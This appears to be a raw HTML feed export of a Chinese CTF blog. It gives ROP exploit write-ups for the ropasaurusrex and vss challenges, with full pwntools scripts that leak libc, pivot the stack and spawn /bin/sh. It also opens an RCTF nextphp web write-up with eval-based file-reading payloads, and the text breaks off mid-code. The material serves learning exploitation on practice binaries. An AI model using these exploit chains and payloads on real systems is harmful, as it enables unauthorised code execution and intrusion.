class="line">sh.sendline(payload)</span><br><span class="line">sh.sendline(<span class="string">"4"</span>)</span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><h2 id="ropasaurusrex"><a href="#ropasaurusrex" class="headerlink" title="ropasaurusrex"></a>ropasaurusrex</h2><p>很明显的栈溢出，查看检查只有堆栈执行保护。</p><img src="/2019/07/26/basic-rop-practice/4.jpg"><p>简单观察程序，发现没有system，只有read和write，也没有<code>/bin/sh</code>，32位的小端程序。思路还是比较清晰的，这个和之前白泽的题目比较类似，需要使用write把地址泄露出来，然后计算得到libc基地址，在这之后就有两种思路了。</p><p>第一种，寻找libc上面的<code>/bin/sh</code>。第二种，通过read写入<code>/bin/sh</code>在bss段中。最后都要使用计算出的system来执行。</p><p>所以，我这里为了不那么麻烦，就直接使用libc里面的字符串了。代码如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">sh = process(<span class="string">"./ropasaurusrex"</span>)</span><br><span class="line"></span><br><span class="line">libc = ELF(<span class="string">"/lib32/libc.so.6"</span>)</span><br><span class="line">program = ELF(<span class="string">"./ropasaurusrex"</span>)</span><br><span class="line">got_write = program.got[<span class="string">'write'</span>]</span><br><span class="line">plt_write = program.symbols[<span class="string">'write'</span>]</span><br><span class="line">plt_read = program.symbols[<span class="string">'read'</span>]</span><br><span class="line">main_addr = <span class="number">0x0804841d</span></span><br><span class="line"></span><br><span class="line">payload1 = <span class="number">0x88</span>*<span class="string">'a'</span> + <span class="number">4</span>*<span class="string">'b'</span></span><br><span class="line">payload1 += p32(plt_write)</span><br><span class="line">payload1 += p32(main_addr)</span><br><span class="line">payload1 += p32(<span class="number">1</span>)</span><br><span class="line">payload1 += p32(got_write)</span><br><span class="line">payload1 += p32(<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line">sh.sendline(payload1)</span><br><span class="line">write_addr = u32(sh.recv(<span class="number">4</span>))</span><br><span class="line">libc_base = write_addr - libc.symbols[<span class="string">'write'</span>]</span><br><span class="line">binsh = libc_base + libc.search(<span class="string">"/bin/sh"</span>).next()</span><br><span class="line">system_addr = libc_base + libc.symbols[<span class="string">'system'</span>]</span><br><span class="line"></span><br><span class="line">payload2 = <span class="number">0x88</span>*<span class="string">'a'</span> + <span class="number">4</span>*<span class="string">'b'</span></span><br><span class="line">payload2 += p32(system_addr)</span><br><span class="line">payload2 += p32(<span class="number">0</span>)</span><br><span class="line">payload2 += p32(binsh)</span><br><span class="line"></span><br><span class="line">sh.sendline(payload2)</span><br><span class="line"></span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><p>在做题的过程中发现了一个小问题，也就是main的符号也不是每次都有的，所以在使用的过程中最好还是直接写main函数的地址比较好。</p><h2 id="vss"><a href="#vss" class="headerlink" title="vss"></a>vss</h2><p>64位程序，同时程序保护只有堆栈不可执行。静态编译果然有点小麻烦，并且所有的符号还被去除了。</p><p>这里通过经验可以知道start的程序入口处最后的call会调用<code>__libc_start_main</code>，同时上面的offset处一定是main函数。找到之后按n键可以修改函数名，这样就方便很多了。也可以通过搜索字符串，然后查看引用地址来锁定main函数。</p><img src="/2019/07/26/basic-rop-practice/5.jpg"><p>随后通过汇编中的call，来定位调用函数的地址，通过eax的赋值和旁边syscall的提示来把推断具体的函数。</p><p>在理清楚程序之后，简单来说程序会先读入0x400字节大小的数据进入缓冲区会判断前两个字符是否为<code>py</code>，然后进入另外一个函数中，在这个函数中会将缓冲区其中的前0x50个字节的数据读入另外一个只有0x40的缓冲区中。这就是很明显的缓冲区溢出，但是有一点我们的溢出数据只有0x10，也就是说除了覆盖rbp之外，就只能覆盖掉ret地址。</p><p>这里用到了<code>stack pivot</code>，就是劫持栈指针到其他我们可控的地方这样就能执行我们想要的指令。这里虽然第二个函数的缓冲区不够用，但是我们的第一个缓冲区能够输入足够多的数据，所以我们可以找到一个增加栈指针的gadget让返回之后的rsp能够指向我们的rop链。</p><p>这里是找到了一个可以增加0x58 rsp的gadget，这样我们填充前0x50的数据之后还有剩余，再填充8个字节的数据之后，再接上rop链就能像前面一样的getshell。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="comment"># Padding goes here</span></span><br><span class="line">p = <span class="string">''</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x0000000000401937</span>) <span class="comment"># pop rsi ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x00000000006c4080</span>) <span class="comment"># @ .data</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000046f208</span>) <span class="comment"># pop rax ; ret</span></span><br><span class="line">p += <span class="string">'/bin//sh'</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000046b8d1</span>) <span class="comment"># mov qword ptr [rsi], rax ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x0000000000401937</span>) <span class="comment"># pop rsi ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x00000000006c4088</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000041bd1f</span>) <span class="comment"># xor rax, rax ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000046b8d1</span>) <span class="comment"># mov qword ptr [rsi], rax ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x0000000000401823</span>) <span class="comment"># pop rdi ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x00000000006c4080</span>) <span class="comment"># @ .data</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x0000000000401937</span>) <span class="comment"># pop rsi ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x00000000006c4088</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000043ae05</span>) <span class="comment"># pop rdx ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x00000000006c4088</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000041bd1f</span>) <span class="comment"># xor rax, rax ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045e790</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">'&lt;Q'</span>, <span class="number">0x000000000045f2a5</span>) <span class="comment"># syscall ; ret</span></span><br><span class="line">addRspRet = <span class="number">0x000000000046f205</span></span><br><span class="line">payload = <span class="string">'py'</span>+<span class="string">'a'</span>*(<span class="number">0x48</span><span class="number">-0x2</span>)+p64(addRspRet)+<span class="string">'a'</span>*(<span class="number">0x58</span><span class="number">-0x50</span>)+p</span><br><span class="line">p = process(<span class="string">'vss'</span>)</span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line">p.recvuntil(<span class="string">":\n"</span>)</span><br><span class="line"></span><br><span class="line">p.send(payload)</span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>这也是第一次能直接用ROPgadget直接生成rop链，23333。</p><p>如果考虑手工构造的话，这里没有<code>write</code>，所以也不能泄露地址，libc的binsh是没有办法了，只能依靠<code>read</code>来读入binsh的数据，然后调用syscall来执行shell。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">sh = process(<span class="string">"./vss"</span>)</span><br><span class="line"></span><br><span class="line">vss = ELF(<span class="string">"./vss"</span>)</span><br><span class="line"></span><br><span class="line">rsi_ret = <span class="number">0x401937</span></span><br><span class="line">rdi_ret = <span class="number">0x401823</span></span><br><span class="line">rdx_ret = <span class="number">0x43ae05</span></span><br><span class="line">xor_rax_ret = <span class="number">0x41bd1f</span></span><br><span class="line">addRspRet = <span class="number">0x46f205</span></span><br><span class="line">syscall = <span class="number">0x437eae</span></span><br><span class="line"><span class="comment">#syscall = 0x45f2a5</span></span><br><span class="line">rax_ret = <span class="number">0x46f208</span></span><br><span class="line">bss_base = vss.bss()</span><br><span class="line"></span><br><span class="line">payload = <span class="string">'py'</span> + <span class="number">0x46</span>*<span class="string">'a'</span></span><br><span class="line">payload += p64(addRspRet)</span><br><span class="line">payload += <span class="number">8</span>*<span class="string">'a'</span></span><br><span class="line">payload += p64(rdi_ret)</span><br><span class="line">payload += p64(<span class="number">0</span>)</span><br><span class="line">payload += p64(rsi_ret)</span><br><span class="line">payload += p64(bss_base)</span><br><span class="line">payload += p64(rdx_ret)</span><br><span class="line">payload += p64(<span class="number">8</span>)</span><br><span class="line">payload += p64(xor_rax_ret)</span><br><span class="line">payload += p64(syscall)</span><br><span class="line">payload += p64(rax_ret)</span><br><span class="line">payload += p64(<span class="number">0x3b</span>)</span><br><span class="line">payload += p64(rdi_ret)</span><br><span class="line">payload += p64(bss_base)</span><br><span class="line">payload += p64(rsi_ret)</span><br><span class="line">payload += p64(<span class="number">0</span>)</span><br><span class="line">payload += p64(rdx_ret)</span><br><span class="line">payload += p64(<span class="number">0</span>)</span><br><span class="line">payload += p64(syscall)</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> sh.recvuntil(<span class="string">":\n"</span>)</span><br><span class="line">sh.sendline(payload)</span><br><span class="line"><span class="comment">#time.sleep(1)</span></span><br><span class="line">sh.sendline(<span class="string">"/bin/sh\x00"</span>)</span><br><span class="line"></span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>学习完基本的ROP之后，也算是理解了其中的一些常规套路，有write和puts之类的有输出函数是可以泄露地址的，拿到地址配合libc就可以去计算我们想调用的函数地址。如果不能拿到地址，就利用ROP链来构造syscall，其中binsh的值可以用read来写入空闲区块，一般是bss段。</p><p>最后一道题vss，也学到很多分析静态链接程序的技巧受用很多，比如在分析main函数的时候可以用入口点的特征也可以用字符串的交叉引用（交叉引用是个好东西，很多时候解决很多麻烦）。同时学会了一点花式栈溢出技巧，劫持栈指针到我们可控的区域中来执行指令。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;最近开始入门pwn，在白泽新手oj那里学了一波之后开始自己学剩下的内容。看到atum大佬推荐的三道基础ROP题目，就练习一下，学习思路总结经验。在网上找题的过程中发现vss基本上绝迹了。。。辛苦一番之后终于找到，为了后面的人也能快速找到题目我就把三道题一起上传了。&lt;/p&gt;

      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="ROP" scheme="https://hurricane618.me/tags/ROP/"/>
    
      <category term="stackoverflow" scheme="https://hurricane618.me/tags/stackoverflow/"/>
    
  </entry>
  
  <entry>
    <title>2019RCTF 部分Web的WriteUp</title>
    <link href="https://hurricane618.me/2019/05/24/2019rctf-some-writeup/"/>
    <id>https://hurricane618.me/2019/05/24/2019rctf-some-writeup/</id>
    <published>2019-05-24T02:23:17.000Z</published>
    <updated>2019-05-24T02:23:17.544Z</updated>
    
    <content type="html"><![CDATA[<p>一年一度的RCTF开始了，又能学一波骚操作，RCTF的web题目去年就非常好，今年也特别出色。由于研究所月赛的原因没有参与其中，所以赛后来复现一下。</p><h2 id="nextphp"><a href="#nextphp" class="headerlink" title="nextphp"></a>nextphp</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'a'</span>])) &#123; </span><br><span class="line"></span><br><span class="line"><span class="keyword">eval</span>($_GET[<span class="string">'a'</span>]); </span><br><span class="line"></span><br><span class="line">&#125; <span class="keyword">else</span> &#123; </span><br><span class="line"></span><br><span class="line">show_source(<span class="keyword">__FILE__</span>); </span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一个代码执行，但是肯定没有这么简单，执行phpinfo查看到<code>disable_function</code>之后，发现禁用了已知范围内的所有危险函数，并且还把之前考差过的<code>putenv</code>也禁用了。这样就没有办法使用<code>LD_PRELOAD</code>来劫持执行命令了。 </p><p>同时也检查了一下其他方面，有没有使用什么危险的后端组件，也是全部GG。没有php-fpm，没有mog_cgi，没有ImageMagick等等。 </p><p>一筹莫展之际，林师傅提醒到可以扫描文件看看，所以果断看看路径上有些啥。通过phpinfo可以得到web路径，使用php函数来打开路径读取内容即可。 </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">a=var_dump(glob(&quot;/var/www/html/*&quot;));</span><br><span class="line">array(2) &#123; [0]=&gt; string(23) &quot;/var/www/html/index.php&quot; [1]=&gt; string(25) &quot;/var/www/html/preload.php&quot; &#125;</span><br></pre></td></tr></table></figure><p>可以看到里面除了<code>index.php</code>以外，还有一个神奇的<code>preload.php</code>，读取其中的内容看看。 </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a=var_dump(file_get_contents(&quot;/var/www/html/preload.php&quot;));</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">final</span> <span class="class"><span class="keyword">class</span> <span class="title">A</span> <span class="keyword">implements</span> <span class="title">Serializable</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $data = [</span><br><span class="line">        <span class="string">'ret'</span> =&gt; <span class="keyword">null</span>,</span><br><span class="line">        <span class="string">'func'</span> =&gt; <span class="string">'print_r'</span>,</span><br><span class="line">        <span class="string">'arg'</span> =&gt; <span class="string">'1'</span></span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">run</span> <span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;data[<span class="string">'ret'</span>] = <span class="keyword">$this</span>-&gt;data[<span class="string">'func'</span>](<span class="keyword">$this</span>-&gt;data[<span class="string">'arg'</span>]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__serialize</span><span class="params">()</span>: <span class="title">array</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;data;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__unserialize</span><span class="params">(array $data)</span> </span>&#123;</span><br><span class="line">        array_merge(<span class="keyword">$this</span>-&gt;data, $data);</span><br><span class="line">        <span class="keyword">$this</span>-&gt;run();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">serialize</span> <span class="params">()</span>: <span class="title">string</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> serialize(<span class="keyword">$this</span>-&gt;data);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">unserialize</span><span class="params">($payload)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;data = unserialize($payload);</span><br><span class="line">        <span class="keyword">$this</span>-&gt;run();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span> <span class="params">($key)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span 